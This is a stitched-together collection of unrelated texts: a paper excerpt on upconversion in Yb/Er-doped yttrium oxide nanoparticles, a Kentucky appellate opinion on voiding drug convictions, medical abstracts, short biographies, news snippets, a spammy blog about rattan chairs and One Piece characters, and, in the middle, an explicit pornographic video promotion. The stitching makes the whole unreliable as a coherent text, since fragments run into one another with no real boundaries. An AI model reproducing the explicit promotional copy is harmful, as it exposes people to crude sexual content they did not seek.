The energy level diagram of Yb^3+^ and Er^3+^ is shown in Figure [5](#F5){ref-type="fig"} and illustrates the energy transfer from Yb^3+^ to Er^3+^ which generates up-conversion in a following manner: population of ^4^F~7/2~ level in Er^3+^ leads to an intermediate non-radiative relaxation to the ^2^H~11/2~ and ^4^S~3/2~ levels and further to two partially overlapped green emissions at 522 and 563 nm due to the radiative relaxations to the ^4^I~15/2~ level. Alternatively, the ^4^F~7/2~ level can partially non-radiatively relax to the ^4^F~9/2~ level from which red emission at 660 nm originates (^4^F~9/2~ → ^4^I~15/2~). Red emission could be intensified by another up-conversion path which occurs after non-radiate relaxation of the ^4^I~11/2~ to the ^4^I~13/2~ level, from where the additional population of the ^4^F~9/2~ level occurs through energy transfer. The population of the ^2^H~9/2~ level is realized by the excited state absorption from ^4^I~13/2~ and ^4^F~9/2~ levels. Blue up-conversion emission occurs by its radiative de-excitations to the ^4^I~15/2~ level. Power dependence of UC emissions, given in Figure [6](#F6){ref-type="fig"}, confirms that two-photon processes are responsible for green and red UC emissions. The observed slopes are similar for 1 and 2.5 at.% Yb^3+^-doped samples and slightly higher for 5 at.% Yb^3+^ doping.
{#F5}
{#F6}
Changes in red-to-green emission ratio with Yb^3+^ concentration increase in Y~2~O~3~:Er^3+^ bulk and NPs are discussed by Vetrone et al. \[[@B22]\]. They observed this phenomenon to be much more pronounced in NPs compared to bulk. They concluded that a cross-relaxation mechanism of ^4^F~7/2~ → ^4^F~9/2~ and ^4^F~9/2~ ← ^4^I~11/2~ is partly responsible for the red enhancement, but phonons of ligand species present on the NP surface enhance the probability of ^4^F~9/2~ level population from the ^4^I~13/2~ level. However, in the present case, no adsorbed species on the NPs are detected, as in other cases of NPs prepared with the PCS method. TEM images in Figure [2](#F2){ref-type="fig"} and the Stark splitting of emission clearly evident in Figure [3](#F3){ref-type="fig"}a demonstrate the crystalline nature of NPs. Also, the values of UC emission decays, given in Table [1](#T1){ref-type="table"}, are much larger compared to those from \[[@B22]\], indicating in this way the absence of a strong ligand influence on UC processes. Silver et al. \[[@B27]\] noticed that the Yb^3+2^F~5/2~ excited level may also receive electrons from higher energy levels of nearby Er^3+^ ions, back transferring energy from Er^3+^ to Yb^3+^ ions. When they compared spectra of Y~2~O~3~:Eu^3+^ with Yb^3+^, they noted that the up-conversion and down-conversion emissions lost intensity in the presence of Yb^3+^ and that was least apparent for the red ^4^F~9/2~ → ^4^I~15/2~ transition, even for a Yb^3+^/Er^3+^ ratio of 5:0.5. The decrease of ^4^F~9/2~ lifetime with Yb^3+^ concentration increase (Table [1](#T1){ref-type="table"}) is a consequence of enlarged population of ^2^H~9/2~ by excited state absorption from the ^4^F~9/2~ level, which is evidenced through enhancement of blue emission (^2^H~9/2~ → ^4^I~15/2~) for larger Yb^3+^ content (see Figure [4](#F4){ref-type="fig"}).
######
**Emission decay times for Y**~**2**~**O**~**3**~**:Yb**^**3+**^**, Er**^**3+**^**nanoparticles upon 978-nm excitation**
**Green emission lifetime (ms)** **Red emission lifetime (ms)**
----------------------------- ---------------------------------- --------------------------------
Y~1.97~Yb~0.02~Er~0.01~O~3~ 0.36 0.71
Y~1.94~Yb~0.05~Er~0.01~O~3~ 0.38 0.60
Y~1.89~Yb~0.10~Er~0.01~O~3~ 0.34 0.35
Conclusions
===========
In conclusion, yttrium oxide powders doped with Er^3+^ ions and co-doped with different concentrations of Yb^3+^ ions are successfully prepared using polymer complex solution method. This simple and fast synthesis method provides powders consisting of well-crystallized nanoparticles (30 to 50 nm in diameter) with no adsorbed species on their surface. The powders exhibit up-conversion emission upon 978-nm excitation, with a color that can be tuned from green to red by changing the Yb^3+^/Er^3+^ concentration ratio. This effect can be achieved in nanostructured hosts where electron--phonon interaction is altered compared to the bulk material.
Competing interests
===================
The authors declare that they have no competing interests.
Authors' contributions
======================
VL carried out the material synthesis. PA performed the TEM study. VL and MD carried out the X-ray diffraction and luminescence analysis. MD supervised the research activity. VL and MD wrote the manuscript. All authors discussed and commented on the manuscript. All authors approved the final manuscript.
Supplementary Material
======================
###### Additional file 1: Figure S1
FT-IR spectrum of Y~1.97~Yb~0.02~Er~0.01~O~3~.
######
Click here for file
Acknowledgments
===============
The authors would like to acknowledge the support from the Ministry of Education, Science and Technological Development of the Republic of Serbia (grant no. 45020).
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107 S.W.3d 912 (2003)
COMMONWEALTH of Kentucky, Appellant,
v.
Jodie Charles BOWLES, Appellee.
No. 2002-CA-001568-MR.
Court of Appeals of Kentucky.
May 30, 2003.
*913 Teresa Young, Special Assistant Attorney General, Albert B. Chandler, III, Attorney General, Frankfort, KY, for appellant.
Stephen H. Miller, Louisville, KY, for appellee.
Before COMBS, GUIDUGLI and SCHRODER, Judges.
OPINION
GUIDUGLI, Judge.
The Commonwealth of Kentucky has appealed from the June 25, 2002, Opinion and Order of the Jefferson Circuit Court granting Jodie Charles Bowles's (hereinafter Bowles) motion to reconsider and voiding his 1993 convictions for illegal possession of a controlled substance (cocaine) and illegal possession of a controlled substance (marijuana).[1] We affirm in part, vacate in part and remand.
In 1993, Bowles, along with co-defendant John Edward Young, was indicted by the grand jury on charges of Illegal Possession of a Controlled Substance, First Degree (cocaine),[2] Illegal Possession of a Controlled Substance (marijuana),[3] Illegal Use or Possession of Drug Paraphernalia,[4] and Carrying a Concealed Deadly Weapon.[5] Based upon the Commonwealth's offer, Bowles moved to enter a guilty plea, which the trial court accepted and entered on May 12, 1993. Pursuant to the terms of the agreement, the trial court adjudged Bowles guilty of illegal possession of cocaine, marijuana and drug paraphernalia and dismissed the carrying a concealed deadly weapon charge. On June 30, 1993, the trial court entered its final judgment of conviction and sentence, and ordered him to serve one year for illegal possession of cocaine and twelve months on each of the two remaining charges, which were to be served concurrently for a total of one year. The trial court withheld rendition of the judgment and placed Bowles on probation for five years, subject to his compliance with several conditions, including participation in a drug treatment program.
On November 8, 2001, Bowles moved the trial court to set aside and void his convictions pursuant to KRS 218A.275(9) and KRS 218A.276(8) as all terms of his probation and parole had ended on June 25, 1998, and as he had satisfactorily completed treatment, probation, payment of fees, and had complied with all orders of the *914 trial court. The Commonwealth objected, and the trial court denied the motion by an opinion and order entered March 22, 2002, reasoning that Bowles had not provided sufficient evidence that he had satisfied the drug treatment requirement. The trial court went on to state that even if Bowles had provided this evidence, his felony conviction for possession of cocaine would not fall under the parameters of KRS 218A.275(9) because the statute references only misdemeanor convictions pursuant to KRS 218A.1416 and KRS 218A.1417.
Bowles filed a motion to reconsider pursuant to CR 52.02, arguing that KRS 218A.275(9) applies to felony offenses as well as to misdemeanor offenses, and providing documentation to support his claim that he completed his substance abuse programs. Although no response was filed, the Commonwealth apparently responded orally at the May 28, 2002, hearing.[6] On June 25, 2002, the trial court granted the motion to reconsider and entered the following opinion and order:
The action comes before the Court on Motion to Reconsider and to Amend the Court's Opinion and Order brought by defendant, Jodie Charles Bowles ("Bowles"). Plaintiff, Commonwealth of Kentucky ("Commonwealth"), has not submitted a Response. The Court heard arguments from the parties on May 28, 2002.
After a careful review of the record and Bowles's memorandum, as well as the applicable statutory law, and being otherwise sufficiently advised, the Court amends its March 22, 2002 Opinion and Order. Consequently, Bowles's motion is sustained.
KRS 218A.275(9) states
In the case of any person who has been convicted for the first time of possession of controlled substances, the court may set aside and void the conviction upon satisfactory completion of treatment, probation, or other sentence, and issue to the person a certificate to that effect. A conviction voided under this subsection shall not be deemed a first offense for purposes of this chapter or deemed a conviction for purposes of disqualification or disabilities imposed by law upon conviction of a crime. Voiding of a conviction under the subsection and dismissal may occur only once with respect to any person.
Bowles was convicted under KRS 218A.1415 for first offense illegal possession of a controlled substance (cocaine). He has provided sufficient information to the Court that he completed substance abuse treatment and the requirements of probation. His probation ended on June 25, 1998. The Court finds that he has met the standards necessary to have that conviction voided.
Similarly, Bowles's conviction for illegal possession of controlled substance (marijuana) will also be voided pursuant to KRS 218A.276(8). The record indicates it was his first offense and Bowles has provided adequate evidence of his completion of substance abuse treatment.
Bowles's conviction pursuant to KRS 218A.500(2), however, is a different proposition. Neither KRS 218A.275(9) nor KRS 218A.276(8) provide for setting aside or voiding a conviction for illegal possession of drug paraphernalia. Consequently, *915 the Court cannot set aside that particular conviction.
WHEREFORE IT IS HEREBY ORDERED AND ADJUDGED that the Motion to Reconsider and to Amend the Court's Opinion and Order brought by defendant, Jodie Charles Bowles, be and is hereby SUSTAINED.
IT IS FURTHER ORDERED AND ADJUDGED that Bowles's June 30, 1999 convictions for illegal possession of controlled substance (cocaine) and illegal possession of controlled substance (marijuana) be and are hereby voided.
XXX
___
ANN O'MALLEY SHAKE, JUDGE
Underneath the judge's signature is a stamp initialed by a deputy clerk indicating that the order was entered in court on June 25, 2002, along with the following language in handwriting:
District Court #
93F001458A-D
Counts 1-2 expunged
arrest Date 2-6-93
All references to the convictions for illegal possession of cocaine and marijuana were redacted from the record. This appeal by the Commonwealth followed.
On appeal, the Commonwealth first argues that the circuit court lacked the authority to void the felony conviction for illegal possession of a controlled substance (cocaine) under KRS 218A.1415 through the use of KRS 218A.275 because the legislature intended that section to apply only to first convictions under either KRS 218A.1416 or KRS 218A.1417, but not under KRS 218A.1415. On the other hand, Bowles argues that KRS 218A.275 is unambiguous and that the Commonwealth is attempting to insert an exception in KRS 218A.275(9) that does not exist. We agree with Bowles that KRS 218A.275(9) does not except felony convictions under KRS 218A.1415 from its application, as does the remainder of the statute.
Pursuant to KRS 446.080(1), "[a]ll statutes of this state shall be liberally construed with a view to promote their objects and carry out the intent of the legislature." Furthermore, our Supreme Court recently addressed statutory interpretation in Commonwealth v. Plowman, Ky., 86 S.W.3d 47, 49 (2002), stating that:
It is well settled that the interpretation of a statute is a matter of law. Accordingly, a reviewing court is not required to adopt the decisions of the trial court as to a matter of law, but must interpret the statute according to the plain meaning of the act and in accordance with the legislative intent. Commonwealth v. Montague, Ky., 23 S.W.3d 629 (2000). The seminal duty of a court in construing a statute is to effectuate the intent of the legislature. Commonwealth v. Harrelson, Ky., 14 S.W.3d 541 (2000).
See also Davis v. Commonwealth Life Insurance, Ky., 284 S.W.2d 809 (1955). We are also mindful that we must look at the statute as a whole in our interpretation. In Democratic Party of Kentucky v. Graham, Ky., 976 S.W.2d 423, 429 (1998), the Supreme Court stated:
Petitioners would have us read the first sentence of this statute out of context and interpret it to preclude law enforcement from prosecuting a criminal violation of a campaign finance law except upon referral from the Registry. "However, it is well-settled that `in expounding a statute, we must not be guided by a single sentence or member of a sentence, but look to the provisions of the whole and to its object and policy.'" Wathen v. General Electric Co., 115 F.3d 400, 405 (6th Cir.1997) quoting Pilot Life Ins. Co. v. Dedeaux, 481 U.S. 41, *916 51, 107 S.Ct. 1549, 1555, 95 L.Ed.2d 39 [ ](1987); accord Department of Motor Transp. v. City Bus Co., Inc., Ky., 252 S.W.2d 46 (1952); Henry v. Commonwealth, 312 Ky. 491, 228 S.W.2d 32 (1950).
Additionally, the Supreme Court addressed the treatment to be given to both ambiguous and unambiguous statutes in Plowman:
An unambiguous statute is to be applied without resort to any outside aids. This Court has repeatedly held that statutes must be given a literal interpretation unless they are ambiguous and if the words are not ambiguous, no statutory construction is required. (citations omitted.)
Commonwealth v. Plowman, 86 S.W.3d at 49.
The statute at issue in this appeal is KRS 218A.275, which provides for a treatment program for first-time offenders of possession of a controlled substance and offers the trial court the discretion to void a conviction. Because the interpretation of this statute is the primary issue on appeal, we shall set it out in full:
§ 218A.275. Treatment and rehabilitation program for first offenders of possession of controlled substanceCourt's discretion to void conviction
(1) Any person found guilty of possession of a controlled substance pursuant to KRS 218A.1416 or 218A.1417 may for a first offense, be ordered to a facility designated by the secretary of the Cabinet for Health Services where a program of treatment and rehabilitation not to exceed one (1) year in duration may be prescribed. The person ordered to the designated facility shall present himself for registration and initiation of a treatment program within five (5) days of the date of sentencing. If, without good cause, the person fails to appear at the designated facility within the specified time, or if at any time during the program of treatment prescribed, the authorized clinical director of the facility finds that the person is unwilling to participate in his treatment and rehabilitation, the director shall notify the sentencing court. Upon receipt of notification, the court shall cause the person to be brought before it and may continue the order of treatment and rehabilitation, or may order confinement in the county jail for not more than one (1) year or a fine of not more than five hundred dollars ($ 500), or both. Upon discharge of the person from the facility by the secretary of the Cabinet for Health Services, or his designee, prior to the expiration of the one (1) year period or upon satisfactory completion of one (1) year of treatment, the person shall be deemed finally discharged from sentence. The secretary, or his designee, shall notify the sentencing court of the date of such discharge from the facility.
(2) The secretary of the Cabinet for Health Services, or his designee, shall inform each court of the identity and location of the facility to which such person is sentenced.
(3) Transportation to the facility shall be provided by order of the court when the court finds the person unable to convey himself to the facility within five (5) days of sentencing by reason of physical infirmity or financial incapability.
(4) The sentencing court shall immediately notify the designated facility of the sentence and its effective date.
(5) The secretary for health services, or his designee, may authorize transfer of the person from the initially designated facility to another facility for therapeutic purposes. The sentencing court shall be notified of termination of treatment by the terminating facility.
*917 (6) Responsibility for payment for treatment services rendered to persons pursuant to this section shall be as under the statutes pertaining to payment of patients and others for services rendered by the Cabinet for Health Services, unless the person and the facility shall arrange otherwise.
(7) Prior to the imposition of sentence upon conviction of a second or subsequent offense, the court shall obtain a report of case progress and recommendations regarding further treatment from any facility at which the person was treated following his first conviction. If such material is not available, the court shall notify the secretary of the Cabinet for Health Services, and the secretary shall cause the person to be examined by a psychiatrist employed by the cabinet to evaluate his mental condition and to make recommendations regarding treatment and rehabilitation. The psychiatrist making the examination shall submit a written report of his findings and recommendations regarding treatment and rehabilitation to the court which shall make the report available to the prosecuting attorney and the attorney for the defendant. The court shall take such reports into consideration in determining sentence. The secretary may decline to cause such examination to be made if the number of psychiatrists on duty in the cabinet is insufficient to spare one from his regular duties or if no such service may be purchased at regular cabinet rates; in such event the secretary shall notify the clerk of the court to that effect within three (3) days after receipt of notification by the court.
(8) None of the provisions of this section shall be deemed to preclude the court from exercising its usual discretion with regard to ordering probation or conditional discharge.
(9) In the case of any person who has been convicted for the first time of possession of controlled substances, the court may set aside and void the conviction upon satisfactory completion of treatment, probation, or other sentence, and issue to the person a certificate to that effect. A conviction voided under this subsection shall not be deemed a first offense for purposes of this chapter or deemed a conviction for purposes of disqualifications or disabilities imposed by law upon conviction of a crime. Voiding of a conviction under the subsection and dismissal may occur only once with respect to any person.
The Commonwealth argues that because the first section of the statute limits the treatment program only to first offenders convicted of possession of a controlled substance under KRS 218A.1416 and KRS 218A.1417, the entire statute, in particular KRS 218A.275(9), is limited to convictions under those two statutes. Furthermore, subsections 2 through 7 deal with the treatment program itself, detailing when the program would be appropriate as well as its costs and the trial court's follow-up requirements. Because Subsection 1 limits the treatment program to those convicted under KRS 218A.1416 and KRS 218A.1417, all of the subsections dealing specifically with the treatment program would likewise be limited in their application to convictions under those two statutes. Subsection 8 simply allows the court to retain its discretion as to orders for probation or conditional discharge.
While we agree with the Commonwealth that it would be logical to conclude that Subsection 9 would also be limited to convictions under the two statutes enumerated in Subsection 1, we believe that the plain language of the statute mandates another result. The language limiting the *918 treatment program to only convictions under KRS 218A.1416 and KRS 218A.1417 is found within Subsection 1, so that it would only modify that subsection and any other subsection dealing specifically with that treatment program. Had the limiting language appeared outside of a subsection, such as in the opening paragraph of the statute rather than inside of a subsection, the language clearly would have modified each subsection of the statute. However, this is not the case in this instance.
In fact, Subsection 9 contains its own limiting language, which is not limited to any particular statute, but rather is limited in scope to those first time offenders convicted of possession of a controlled substance. This limitation would logically include all convictions for possession of a controlled substance, encompassing both felony and misdemeanor convictions. Likewise, the subsection allows the trial court to void the conviction "upon satisfactory completion of treatment, probation, or other sentence." The treatment is not even limited to the treatment program set out in the rest of the statute. Having reviewed the statute in question, we hold that KRS 218A.275 is unambiguous in that KRS 218A.275(9) does not limit a trial court from voiding a felony conviction for possession of cocaine under KRS 218A.1415. Therefore, we are not required to do anything further in ascertaining the intent of the legislature in enacting this law. The trial court did not commit any error in voiding Bowles's felony conviction for possession of cocaine.
The Commonwealth next argues that the trial court improperly expunged Bowles's record, while Bowles argues that this action was proper. Both parties look to the definition of "void" and present arguments as to whether a void conviction is necessarily expunged. In our view, however, these arguments are unnecessary because the trial court never ordered either conviction to be expunged under any statute. The trial court only voided Bowles's convictions for illegal possession of cocaine and marijuana under KRS 218A.275(9) and KRS 218A.276(8), respectively. There is nothing in the order to indicate that she intended the convictions to be expunged from the record. The handwritten language at the bottom portion of the second page of the trial court's order appeared after the judge's signature and was apparently written by the deputy clerk who entered the order on June 25, 2002.[7] The judge did not sign, initial, or otherwise approve the handwritten language. Additionally, the statutory requirements for expungement were not completed. For these reasons, we cannot hold that the trial court ordered an expungement of the record. Therefore, the redaction of Bowles's convictions from the record was in error.
For the foregoing reasons, the opinion and order of the Jefferson Circuit Court is affirmed. However, the expungement of Bowles's record is vacated and this matter is remanded for further proceedings.
ALL CONCUR.
NOTES
[1] The Commonwealth has limited its appeal to the issue concerning the voiding of Bowles's conviction for illegal possession of cocaine.
[2] KRS 218A.1415.
[3] KRS 218A.1422.
[4] KRS 218A.500(2).
[5] KRS 527.020.
[6] The videotape of the May 28, 2002, hearing was not included in the certified record on appeal.
[7] This is based upon our observation of the original order in the certified record, which shows that Judge Shake used a pen with medium blue ink, while the deputy clerk used a pen with black ink. The handwritten language regarding expungement appears to have been written with the same pen that was used by the deputy clerk in entering the opinion and order. It is logical to conclude that the deputy clerk who entered the order is also the individual who wrote the handwritten language appearing at the bottom of page 2.
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DESCRIPTION:
This is one of the hottest submission videos to date! These co-eds were pressed for cash so they decided to send us their fun dorm room adventures and we're so glad they did. They didn't say what school they're from but judging by their accents our guess is the dirty south. Who knows? Who cares? These are some badass bitches! Especially the big-tit blond with her sweet smile and amazing tight ass. In our eyes she stole the fucking show but don't take our word for it -- go ahead and check this one out. You'll most definitely be kicking yourself later if you don't. I mean if you like girl-on-girl action, full-out kissing, tit sucking and ass play, this is for you!
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MENTAL HEALTH OF PATIENTS WITH CHRONIC HEART FAILURE
The aim of the study was to investigate the prevalence and structure of mental disorders in elderly and senile patients in cardiology practice. The received results testify to necessity of approximation of the psychological and psychiatric help to the elderly patients of general medical practice. The attraction of qualified psychological staff to provide psychopharmacological and psychotherapeutical help for this group of the patients will facilitate improvements in the effect of somatic treatment and improve the quality of life of the elderly people.
The goal of our research is the study of mental health of older people with chronic heart failure. The aim of the study was to investigate the prevalence and structure of mental disorders in elderly and senile patients in cardiology practice to justify the need for the reform of old age psychiatry services for patients of general medical practice. Psychiatrists conducted continuous research on geriatric patients in the cardiology department. Survey data of 192 patients aged 60 years and older (97 women and 95 men) were studied using clinical, psychopathological methods, followed by computer processing of the results. All the patients with clinical criteria had chronic heart failure -- some patients were diagnosed with hypertension. The diagnosis of psychopathological disorders was carried out on the syndromal and ICD-10 level. Psychogeriatric and psychiatric scales were used to objectify clinical assessment: the screening scale for elderly patient surveys, a mini-mental state assessment test, the Geriatric Depression Scale and the Spielberg Hanina anxiety scale. The mental health of elderly patients with chronic heart failure was studied. Non-psychotic mental pathology was revealed in 81,1% of the surveyed persons. Depressive disorders were revealed in 39% of the patients, anxiety disorders in 39,3%, and hypochondriac disturbances in 23,7% of the patients. Sleep disorders were revealed in 89,8% of the elderly patients.
The use of the correlation analysis revealed authentic connections psychopathological disorders which were found in the survey, with chronic heart failure, presence of its complications, high multimorbidity and the infringement of patient functionalities. Cognitive disorders of a various degree were marked in 89,9% of those surveyed: cognitive disorders were expressed in 41,3% of the patients, dementia in 12,3% of the patients. Basic stressors named by patients were poverty, the death of a spouse, close member of family or friend, severe illness of a family member, and restrictions in being able to help themselves. A total of 23,8% of the patients were the lonely people, and 6,9% of those surveyed lived with distant relatives. The frequency of mental disorders in this group of the patients was higher than in the group surveyed as a whole, basically due to the amount of depressive disorders. The spent therapy of mental disorders at these patients promoted improvement not only parameters of mental health, together with somatic state of the patients. The received results testify to necessity of approximation of the psychological and psychiatric help to the elderly patients of general medical practice. The attraction of qualified psychological staff to provide psychopharmacological and psychotherapeutical help for this group of the patients will facilitate improvements in the effect of somatic treatment and improve the quality of life of the elderly people.
Would you like to know all the news about GISAP project and be up to date of all news from GISAP? Register for free news right now and you will be receiving them on your e-mail right away as soon as they are published on GISAP portal.
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Antigenicity of "monocomponent" pork insulin in diabetic subjects.
"Single-peak," "single-component," and "monocomponent" insulins have been produced in an attempt to eliminate insulin antigenicity. Recently "single-peak insulin" has been shown to be antigenic. From animal experiments and preliminary human studies it has been claimed that monocomponent (MC) insulin is nonantigenic or only negligibly so. In this study the antigenicity of MC insulin was determined in two groups of diabetic patients. In group 1, seven patients treated with insulin for the first time were given MC insulin for seven to fifteen months. Four of the seven patients developed significant IgG insulin antibodies after four to ten months. In one patient the IgG insulin antibody concentration was high (8.51 mU./ml.). In two patients, IgG proinsulin-specific antibodies were detected. In group 2, fourteen patients with unstable diabetes, insulin allergy, or resistance were changed from conventional to MC insulin. Treatment with MC insulin did not decrease insulin requirement or improve diabetic control when assayed by the M factor. After seven to eleven months of therapy there was no significant fall in insulin antibodies except in two patients in whom corticosteroids had been administered simultaneously. These results differ significantly from those previously reported and could be interpreted as suggesting that insulin itself is antigenic. When the purity of the MC insulin was determined, significant contaminants could be demonstrated in all of ten separate batches of MC insulin. Gel chromatography, polyacrylamide gel electrophoresis, and proinsulin radioimmunoassay were used to identify the presence of nonconvertible insulin dimer, proinsulin, and monodesamido insulin in antigenically significant concentrations. The generation of IgG insulin antibodies in MC-insulin-treated patients cannot be interpreted as a true indication that insulin itself is antigenic. The problem of insulin antigenicity has not been resolved and will not be until a highly purified insulin is available. Unfortunately, the MC insulins do not meet these requirements.
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"pile_set_name": "PubMed Abstracts"
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Bernard Wapowski
Bernard Wapowski (1450 – 25 November 1535) was a historian and the leading Polish cartographer of the 16th century, known as "the father of Polish cartography."
Life
Wapowski was born near Przemyśl at the family's village of Wapowce (hence his surname, the adjective formed from the village's name).
In 1526 Wapowski was serving as secretary to the King of Poland when Nicolaus Copernicus assisted him in mapping the Kingdom of Poland and the Grand Duchy of Lithuania.
In 1535, Bernard Wapowski wrote a letter to a gentleman in Vienna urging him to publish an enclosed almanac, which he claimed was written by Copernicus. This is the first and only mention of a Copernicus almanac in the historical records. The almanac was likely Copernicus's tables of planetary positions. The Wapowski letter mentions Copernicus's theory about the motions of the earth. Nothing came of Wapowski's request because he died a couple of weeks later.
See also
List of Poles
Notes
External links
Nicolaus Copernicus
Category:Polish historians
Category:Polish cartographers
Category:Canons of Kraków
Category:1450 births
Category:1535 deaths
Category:16th-century cartographers
Category:16th-century Polish people
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Dean Hewitt
Dean Hewitt (born 9 November 1994) is an Australian curler.
Personal life
Hewitt is from curling family. His mother, Canadian-born Lynn Hewitt, played curling in Canada from her childhood. When she met Australian farmer Stephen (Steve) Hewitt, married him and they moved to Australia, her husband began play curling too; several times he was member of Australian national men's team and played on Pacific Curling Championships. Together they moved their son to the sport of curling when he was 6 years old. Lynn and Dean together played as Australian national mixed doubles curling team (team with age difference more than 30 years) at the 2017 World Mixed Doubles Curling Championship and the 2018 World Mixed Doubles Curling Championship
Hewitt is studying exercise and sports science at Deakin University.
Teams and events
(skips marked bold)
References
External links
Category:Living people
Category:Australian male curlers
Category:Australian curling champions
Category:1994 births
Category:Deakin University alumni
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UK News Trapped passengers airlifted from Weymouth tower
00:45 06 september 2017
00:45 06 september 2017 Source:
Sky News
Gold for Ben Saxton and Katie Dabson at inaugural World Championship in France
Ben Saxton and Katie Dabson have won gold at the first ever foiling Nacra 17 World Championship in La Grande Motte, France. Victory makes them the second British team to become world champions in a week, following Dylan Fletcher-Stuart Bithell's previous 49er world title in Portugal.Saxton and Dabson finished their third regatta together in second place behind Germany's Paul Kohlhoff and Alica Stuhlemmer but ahead of Spain's Iker Martinez and Olga Masliverts, which proved enough for victory overall.
The Jurassic Skyline tower comes to a halt after a "mechanical fault" - leaving 13 passengers trapped in a gondola. Thirteen people have been airlifted to safety after getting trapped in a 174ft-high moving observation tower . Firefighters were called to the Jurassic Skyline tower in Weymouth at
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Thirteen people have been airlifted to safety after getting trapped in a 174ft-high moving observation tower.
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Firefighters were called to the Jurassic Skyline tower in Weymouth at 4.10pm on Tuesday after the tourist attraction stopped during its descent.
The tower's operator said it came to a halt "due to a mechanical fault" and engineers failed to restart the gondola.
Firefighters ascended the tower to reassure the 11 members of the public and two staff members on board, while emergency workers discussed how to safely evacuate them.
After discarding a number of options "on the grounds of safety due to the inclement weather", a Coastguard helicopter began to winch passengers to safety at 7.30pm.
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In a first, Centre unveils No Fly list rules; now passengers can be banned for 2 years; full details here
Centre today has issued the final set of rules for the no fly list in a press conference. 1. Level 1 - Under this category, the passengers with unruly physical gestures, verbal harassment and unruly inebriation will be punished. The punishment will be a ban up to 3 months.
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About Me
Minggu, 23 Agustus 2015
Swivel Rattan Chair as Indoor Furniture is unique and cool below proves that even the most simple objects or boring can be designed into a unique item, cool and amazing. One cool thing of Swivel Rattan Chair as Indoor Furniture here are many of them who actually looked comfortable to sit. Looking for Swivel Rattan Chair design ideas is cool yet comfortable sometimes quite difficult.
Please see the Swivel Rattan Chair design ideas collection of the most creative and cool we share it now. Maybe this can give you inspiration for your interior house design ideas.
Jumat, 16 Januari 2009
Nami swan! Robin swan!.... Is usually say meet his girl in ruffy straw hat pirate. Sanji is chef and his cooking is very delicious. Here is good picture of sanji, look his action on one piece series:
Sanji is the crew's 19-year-old chain-smoking chef and the fourth to join. He knows how it feels to starve from first hand experience. Therefore he will never refuse someone a meal. He has a strong sense of chivalry, because of which, he will never harm a woman, even if he dies.
Sanji also seems to keep this code regardless of a woman's appearance. His dream is to find the All Blue, a legendary sea, containing every kind of fish in the world. Sanji is one of the most popular One Piece characters, as he ranked third in a recent Japanese fan poll. He is voiced by Hiroaki Hirata in the Japanese version of the anime. In the English dubs, he is voiced by David Moo for 4Kids, by Joe Murray and Paul Pistore for Odex[citation needed] and by Eric Vale for Funimation.
Sanji is also a very skilled fighter who uses only kicks. He said that this is because a chef's hands are his prized possession and should not be risked in battle. He was trained by the once infamous pirate and chef "Red Foot" Zeff, who had been to the Grand Line himself. His fighting style's name is taken from the alias of "Red Foot" Zeff, Sanji's mentor and developer of the style. Sanji's most powerful ability is Diable Jambe, which involves rotating at high speeds, heating his leg via friction until it glows red-hot. This powerful ability enhances his kick and literally burns his opponent when it connects.
The more Sanji uses his kick, the more his legs are damaged, but the legs would heal after time. Oda states this is because Sanji's heart burns even hotter. A unique attack to Sanji would be his beautification attack (Parage Shot!), which he rearranges the victim's face physically with a flurry of kicks, as demonstrated against chef Wanze. With several kicks to the face, Wanze's face changed to resemble one would expect from the protagonist of a shojou manga. This skill is shown again many chapters later on Iron Mask Duval.
As an expert chef, Sanji is capable of preparing almost any dish imaginable, while holding to a strong sense of the aesthetics of cooking. Sanji is also skilled in fighting with kitchen knives, as demonstrated against Cipher Pol chef Wanze.
Usopp, hmm! he is the most creative person in Ruffy the Straw Hat Pirate. He is best personal ally to ruffy in one piece story. Here is good Ussop picture:
Usopp is the crew's 17-year-old marksman and the third to join. He is a chronic liar, talented inventor and has notable artistic talent, shown in his painting of the Straw Hat's Jolly Roger and crafting of detailed snow sculptures. Usopp's dream is to become a "brave warrior of the sea". According to a recent Japanese fan poll in the Shonen Jump magazine, Usopp is the 6th most popular character. In a 2007 Oricon poll, Usopp was voted the 10th most wanted character to receive a spin off amongst all respondents, and the 5th most popular amongst males. Usopp is voiced by Kappei Yamaguchi in the Japanese version of the anime. In the English dubs, he is voiced by Jason Anthony Griffith for 4Kids, by Jamie Meldrum and Chuck Powers for Odex[citation needed] and by Sonny Strait for Funimation.
Usopp is a talented inventor, creating the Clima Tact for Nami and the dial-upgraded Perfect Clima Tact. Prior to Franky joining, he is the crew's acting carpenter and patches up the caravel Going Merry whenever it's damaged. He also has notable artistic talent, shown in his painting the Straw Hat jolly roger and crafting of detailed snow sculptures. Usopp has outstanding marksmanship abilities with his slingshot and his remarkable accuracy often surprises his enemies. He utilizes extremely varied ammunition, including rotten eggs, hot sauce, pepper, shuriken and powerful explosives. Using his self-developed weapon, Kabuto, a slingshot connected to the end of a long staff, Usopp is even able to out range guns. Usopp's father left to become a pirate when Usopp was still very young.
Some time after this, Usopp's mother died. After Luffy, Nami, and Zoro help him defeat Kuro's pirates, who were intent on raiding his home village, Usopp is inspired by the three, and decides to go out to sea and to follow his dream of becoming a "brave warrior of the sea". Throughout the story Usopp continues to act cowardly and remains one of the weaker fighting powers of the Straw Hats. This leads him to feeling inferior and after an argument over the fate of the Going Merry on Water 7 he leaves the Straw Hat crew. He dons a mask in order to anonymously help save Robin however and later, after many tears and an apology, rejoins the crew.
Wow, now im talk about Nami Swaaaaaaaaaan!!! (like Sanji :D).Nami is smart, beautifull, cute and sexy character in One Piece. Nami good picture euy!
Nami is the crew's 18-year-old navigator and the second to join ruffy group. She has the ability to recognize and analyze even the slightest changes in the weather up to the point of sheer intuition. She is also an excellent pickpocket. Her dream is to draw a complete map of the world. Nami is voiced by Megumi Toyoguchi in the OVA and by Akemi Okamura in the Japanese version of the anime. In the English dubs, she is voiced by Kerry Williams for 4Kids, by Alison Lestor for Odex[citation needed] and by Luci Christian for Funimation.
She grew up as a misbehaved troublemaker on an island called Cocoyashi Island with her adopted older sister Nojiko, and her foster mother, Bellemere. Bellemere was a mikan farmer and a former Marine soldier. After a battle, Bellemere was at the edge of death until she heard a baby (Nami) carried by a wandering little girl (Nojiko). At that moment, Bellemere gained a new will to live, and decided to take them in as her own. One day, the Merman Pirates lead by Arlong invaded the island and claimed it as their territory.
In order for the villagers to live, they had to pay for their lives. Every month, they would have to pay fifty thousand berri per child, while each adult would cost a hundred thousand berri. Bellemere, unable to pay for the whole family, paid only for her daughters and as a result, was killed in front of them. When Arlong found out about Nami's exceptional skills in cartography, he offered her to join his crew. Nami decided to join Arlong's crew after Arlong said that she could buy her village with 100 million berri.
